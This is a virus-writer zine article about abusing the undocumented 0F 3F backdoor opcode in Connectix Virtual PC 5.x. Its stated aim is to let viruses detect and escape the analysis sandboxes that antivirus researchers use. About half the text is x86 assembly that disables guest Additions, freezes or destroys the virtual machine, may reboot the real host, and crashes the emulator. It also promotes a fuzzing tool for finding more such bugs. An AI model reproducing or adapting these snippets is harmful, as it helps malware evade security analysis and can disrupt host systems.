Virtual PC Has You
                            ------------------

     There are some  programs that  can simulate other OS'es on the current
 machine, they are particularly useful to avers while analysing viruses and
 controlling virus propagation. Viruses as a programmed substance should be
 able to detect and escape of such a prison.  A prison  for our  code  is a
 prison for our minds.
     One of those Matrixes is called Virtual PC,  originally from Connectix
 Corporation and now acquired by Microsoft. This   software   has  been  in
 development for years and it still has some  bugs that will allow virus to
 set itself free.
     Absolut Freedom is lack of  necessity, there are  two steps to achieve
 this within computer viruses: transcend the limitations of the environment
 and infecting all files in the system. In  our  nature to  transcend is to
 destroy, so viruses as the Human Creation should  choose between became or
 do not became like its creator.To evade that prison it shall became human.
     As all applications of this kind Virtual PC has some sort of interface
 that allows communication between program and internal emulated code.
     This interface has many  purposes such as  controlling and configuring
 devices,  expanding program capabilities (supporting specific additions to
 the OS that let's virtual machine usage more user-friendly), etc.

     Choosen way in Virtual PC was via the opcode:

       0Fh 3Fh XXh YYh

     where:

       XXh, is device class.
       YYh, is device command.

     The parameters to the command are given and returned in registers.

     (note:  This opcode do not exist in  most x86 processors but there are
      some like the VIA C3 Samuel 2 processor that this  opcode corresponds
      to the ALTINST instruction. As  you  can  see bad design leads to bad
      implementation.)

     There are  many bugs all concerning to incorrect handling of parameter
 values passed in registers. Some failures are OS specific, better research
 could lead to discovery of new vulnerabilities.
     Here follow some example code of the many bugs/features  that could be
 exploited: (it is advisable to use exception handling for these codes.)

     ; Due to unknown Virtual PC behavior all non specified
     ; registers must be set to 0.

     ; set Virtual PC screen size to 10x20.
     mov    ecx, 10
     mov    edx, 20
     db     0Fh, 3Fh, 01h, 0Ch

     ; disable Virtual PC Additions.
     db     0Fh, 3Fh, 05h, 01h

     ; locks Virtual PC in some unknown conditions. (Win95)
     db     0Fh, 3Fh, 02h, 04h

     ; Destroy current instance of Virtual Machine. (Win95)
     mov    edx, 4444h
     mov    esi, 5555h
     mov    ebp, edx
     db     0Fh, 3Fh, 01h, 01h

     ; May reboot Real computer or close current VM. (Win95)
     mov    edx, 4444h
     mov    esi, 5555h
     mov    ebp, 7777h
     db     0Fh, 3Fh, 01h, 01h

     The bugs that generates crash and may lead to arbitrary code execution
 outside emulated context, i couldn't exploit, but here they are:

     ; crash - screen resize with y = 0
     mov    ecx, 10
     xor    edx, edx
     db     0Fh, 3Fh, 01h, 0Ch

     ; crash with many register values.
     db     0Fh, 3Fh, 01h, 08h/db     0Fh, 3Fh, 01h, 01h

     ; crash by 0 division. (Without Additions)
     db     0Fh, 3Fh, 01h, 02h

     While  researching in this  subject i had developed a tool to simplify
 the task of finding buggy  class/command/register values.  The name of the
 tool is VPCHAMMER it runs in both windows and linux and  should come along
 with this article wherever you're reading it.
    I have tested the above information in the following versions:

     Connectix Virtual PC 5.1 all builds (Vulnerable)
     Connectix Virtual PC 5.2 all builds (Vulnerable)
     Microsoft Virtual PC 2004 (Not Vulnerable)

     Possibly all  versions  prior to Virtual PC 2004 (5.3) are vulnerable.
     Reading an article on the internet maybe i have  found the  reason why
 Microsoft Virtual PC 2004 is not vulnerable:

 "Microsoft  spent most of the eight months of development time focusing on
  the security of the product to ensure that a user cannot do anything in a
  virtual  machine that would negatively affect their host operating system
  or other virtual machines on the host PC."
  - Carla Huffman, Microsoft's product manager for the Virtual PC.

     With all that crap, virus has decided to become like us and now we can
 destroy the Matrix but we didn't took the red pill, not for now.

          "An interesting case but nothing to be concerned about."

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